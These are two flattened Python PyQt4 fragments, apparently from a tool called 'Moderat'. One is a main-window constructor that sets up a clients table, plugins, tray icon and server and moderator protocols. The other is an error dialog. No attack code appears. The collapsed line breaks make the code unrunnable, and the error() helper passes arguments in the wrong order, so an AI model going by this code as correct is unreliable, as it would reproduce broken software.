def __init__(self, reactor, plugins, plugins_dir, parent=None): super(MainDialog, self).__init__(parent) self.reactor = reactor self.setupUi(self) self.settings = Settings(self) self.anim = QPropertyAnimation(self, 'windowOpacity') self.anim.setDuration(1000) self.anim.setStartValue(0) self.anim.setEndValue(self.settings.moderatOpacity) self.anim.start() self.clientsTable.horizontalHeader().setStyleSheet('background: none;') # Multi Lang self.translate = Translate(self) self.MString = lambda _word: self.translate.word(_word) self.theme = Theme(self) # Init Log Dir if not os.path.exists(self.DATA): os.makedirs(self.DATA) self.assets = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'assets') self.flags = os.path.join(self.assets, 'flags') self.plugins = plugins self.plugins_dir = plugins_dir self.directServerRunning = False self.filter = Filter(self) # Setup Settings self.set_config() self.pagination = pagination.Pagination(self) self.tables = tables.updateClientsTable(self) # Init UI self.ui = ui.updateUi(self) # Init Tray self.tray = tray.ModeratTrayIcon(self) self.rmenu = rmenu.moderatRightClickMenu(self) # Session ID self.session_id = None # Privileges self.privs = 0 # Checkers self.moderators_checker = None self.clients_checker = None # Create Protocol self.create_server_protocol() self.create_moderator_protocol() # Init Triggers triggers.ModeratTriggers(self) # Init Shortcuts shortcuts.ModeratShortcuts(self) # Create Actions Object self.action = Actions(self) # Create Modes Object self.modes = Modes(self) self.onlineLoading = loading.Loading(self.clientsTabs) self.onlineLoading.hide() self.showMaximized()
from PyQt4.QtGui import * from PyQt4.QtCore import * from error_ui import Ui_Dialog from libs.language import Translate # Multi Lang translate = Translate() _ = lambda _word: translate.word(_word) class show(QDialog, Ui_Dialog): def __init__(self, title, message, args): QWidget.__init__(self) self.setupUi(self) self.errorLabel.setHidden(True) self.loginButton.clicked.connect(self.getCredentials) self.setWindowTitle(title) self.errorLabel.setText(message) @staticmethod def error(title='', message='', parent=None): dialog = show(parent, title, message) result = dialog.exec_() return result == QDialog.Accepted